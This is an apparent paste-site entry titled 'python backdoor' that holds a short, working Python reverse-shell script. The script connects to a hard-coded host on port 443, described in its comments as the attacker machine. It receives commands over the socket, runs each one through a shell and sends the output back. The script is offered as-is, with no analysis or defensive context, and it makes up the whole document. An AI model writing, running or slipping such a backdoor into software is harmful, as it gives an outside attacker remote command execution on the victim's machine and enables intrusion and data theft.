python backdoor


SUBMITTED BY: Guest

DATE: July 25, 2015, 10:43 a.m.

FORMAT: Python

SIZE: 853 Bytes

HITS: 521

  1. #!/usr/bin/python
  2. import socket,subprocess
  3. HOST = '172.16.32.137' # The remote host
  4. PORT = 443 # The same port as used by the server
  5. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  6. # connect to attacker machine
  7. s.connect((HOST, PORT))
  8. # send we are connected
  9. s.send('[*] Connection Established!')
  10. # start loop
  11. while 1:
  12. # recieve shell command
  13. data = s.recv(1024)
  14. # if its quit, then break out and close socket
  15. if data == "quit": break
  16. # do shell command
  17. proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
  18. # read output
  19. stdout_value = proc.stdout.read() + proc.stderr.read()
  20. # send output to attacker
  21. s.send(stdout_value)
  22. # close socket
  23. s.close()

comments powered by Disqus